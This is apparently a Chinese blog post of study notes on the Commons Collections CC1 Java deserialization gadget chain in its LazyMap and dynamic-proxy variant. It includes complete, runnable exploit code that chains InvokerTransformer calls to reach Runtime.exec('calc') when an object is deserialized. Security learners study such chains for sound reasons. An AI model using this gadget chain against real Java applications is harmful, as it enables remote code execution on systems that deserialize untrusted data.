• CC链1学习2


    前置知识

    动态代理,理论的知识就不解释了,网上有很多,直接上代码

    IUser.java

     package com.superman;
    
     public interface IUser {
    
         void show();
    
     }

    UserImpl.java

    package com.superman;
    
     public class UserImpl implements IUser {
    
         public UserImpl() {
    
        }
    
         public void show() {
    
             System.out.println("展示");
    
        }
    
     }

    重点是下面两段代码,Proxy.newProxyInstance(类加载器,代理接口,handler用于处理事件),然后新建UserInvocationHandler,重写Invoke方法,当使用动态代理的时候会触发Invoke方法,这里是我们学习安全需要知道的,也是与前一条CC1链的区别

    ProxyTest.java

     package com.superman;
    
     import java.lang.reflect.InvocationHandler;
    
     import java.lang.reflect.Proxy;
    
     public class ProxyTest {
         public static void main(String[] args) {
             UserImpl user = new UserImpl();
             InvocationHandler userInvocationHandler = new UserInvocationHandler(user);
             IUser o = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
             o.show();
        }
     }

    UserInvocationHandler.java

    package com.superman;
     import java.lang.reflect.InvocationHandler;
    
     import java.lang.reflect.Method; ​
    
     public class UserInvocationHandler implements InvocationHandler {
         IUser user;​
    
         public UserInvocationHandler() {
        }
    
         public UserInvocationHandler(IUser user) {
             this.user = user;
        }
    
         public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    
             method.invoke(user,args);
    
             return null;
    
        }
    
     }

    学习分析

    image-20220214104921836

    与之前学习的CC1链不同在于实现InvokerTransformer的transform方法变为LazyMap,所以实现transform的方法不用变

     Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                     new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
             };
             ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    具体的LazyMap代码

    image-20220214104445466

    factory值来源于LazyMap有参构造,但为protected,需要找其实现方法

    image-20220214104531916

    发现其实现方法

    image-20220214104625983

    实现其方法

     
    package com.superman;
     ​
     import org.apache.commons.collections.Transformer;
     import org.apache.commons.collections.functors.ChainedTransformer;
     import org.apache.commons.collections.functors.ConstantTransformer;
     import org.apache.commons.collections.functors.InvokerTransformer;
     import org.apache.commons.collections.map.LazyMap;
     import org.apache.commons.collections.map.TransformedMap;
     ​
     import java.io.*;
     import java.lang.annotation.Target;
     import java.lang.reflect.*;
     import java.util.HashMap;
     import java.util.Map;
     ​
     public class CC1Test2 {
         public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
     ​
             Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                     new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
             };
             ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
             HashMap<Object, Object> map = new HashMap<Object, Object>();
    
             实现decorate方法并将factory的值赋值为chainedTransformer
             Map lazymap = LazyMap.decorate(map, chainedTransformer);
     ​
         }
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
     ​
         public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
             ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
             Object object = objectInputStream.readObject();
             return object;
         }
     }

    控制了factory的值后,需要查找哪些方法调用了get方法,这里有很多,估计几千个有的,我们就不一一试了,直接用作者提供的链里面的类,AnnotationInvocationHandler,这个类需要查找我们能控制的get方法。找到在Invoke方法里有调用

    image-20220214105507699

    其memberValues值可控,来自于构造方法

    image-20220214105630398

    对代码进行扩充,之前提到的动态代理在这里就用上了,当使用动态代理代理handler后,会自动触发调用Invoke方法

     
    package com.superman;
     ​
     import org.apache.commons.collections.Transformer;
     import org.apache.commons.collections.functors.ChainedTransformer;
     import org.apache.commons.collections.functors.ConstantTransformer;
     import org.apache.commons.collections.functors.InvokerTransformer;
     import org.apache.commons.collections.map.LazyMap;
     import org.apache.commons.collections.map.TransformedMap;
     ​
     import java.io.*;
     import java.lang.annotation.Target;
     import java.lang.reflect.*;
     import java.util.HashMap;
     import java.util.Map;
     ​
     public class CC1Test2 {
         public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
     ​
             Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                     new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
             };
             ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
             HashMap<Object, Object> map = new HashMap<Object, Object>();
    
             实现decorate方法并将factory的值赋值为chainedTransformer
             Map lazymap = LazyMap.decorate(map, chainedTransformer);
    
             Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
             Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
             declaredConstructor.setAccessible(true);
             InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
             Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
    
    
         }
    
    
    
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
     ​
         public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
             ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
             Object object = objectInputStream.readObject();
             return object;
         }
     }

    接下来需要寻找包住mapproxy的Map类,并能触发get方法,需要不满足几个if条件,首先不是equals方法,其次不能有参数

    image-20220214112552508

    这里我们需要找一个实现Map接口的类,并且该类实现的方法不是equals以及参数为空,在CC1链中看到AnnotationInvocationHandler的readObject方法,其中memberValues.entrySet(),刚好是我们需要的,反序列化后触发entrySet方法,进入到get方法,而memberValues是lazymap

    image-20220214112941991

     
    package com.superman;
     ​
     import org.apache.commons.collections.Transformer;
     import org.apache.commons.collections.functors.ChainedTransformer;
     import org.apache.commons.collections.functors.ConstantTransformer;
     import org.apache.commons.collections.functors.InvokerTransformer;
     import org.apache.commons.collections.map.LazyMap;
     import org.apache.commons.collections.map.TransformedMap;
     ​
     import java.io.*;
     import java.lang.annotation.Target;
     import java.lang.reflect.*;
     import java.util.HashMap;
     import java.util.Map;
     ​
     public class CC1Test2 {
         public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
             Runtime runtime = Runtime.getRuntime();
     ////        Class<? extends Runtime> aClass = runtime.getClass();
     ////        Method exec = aClass.getMethod("exec", String.class);
     ////        exec.invoke(runtime,"calc");
     //
     //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
     //        invokerTransformer.transform(runtime);
     ​
             Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                     new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
             };
             ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
     ​
             HashMap<Object, Object> map = new HashMap<Object, Object>();
             Map lazymap = LazyMap.decorate(map, chainedTransformer);
     ​
             Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
             Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
             declaredConstructor.setAccessible(true);
             InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
     ​
             Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
             Object o = declaredConstructor.newInstance(Override.class, mapproxy);
             //serialize(o);
             unserialize("C://ser.txt");
     ​
     ​
         }
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
     ​
         public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
             ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
             Object object = objectInputStream.readObject();
             return object;
         }
     }

    总结

    分析出来了但是写不清楚,姑且做个笔记留着以后再完善。

  • 相关阅读:
    各种排序算法java实现,好文,做个备份
    一个SQL语句
    StrutsLayout tag library 1.1发布
    “单击将本站加入收藏夹”的代码
    IE无法上网连接的解决办法
    字符问题!
    Time Tracker Starter Kit 简介
    谈恋爱是百年好合的事
    一个sql语句
    ASP.NET 中的自定义脚本回调
  • 原文地址:https://www.cnblogs.com/sup3rman/p/15891930.html
Copyright © 2020-2023  润新知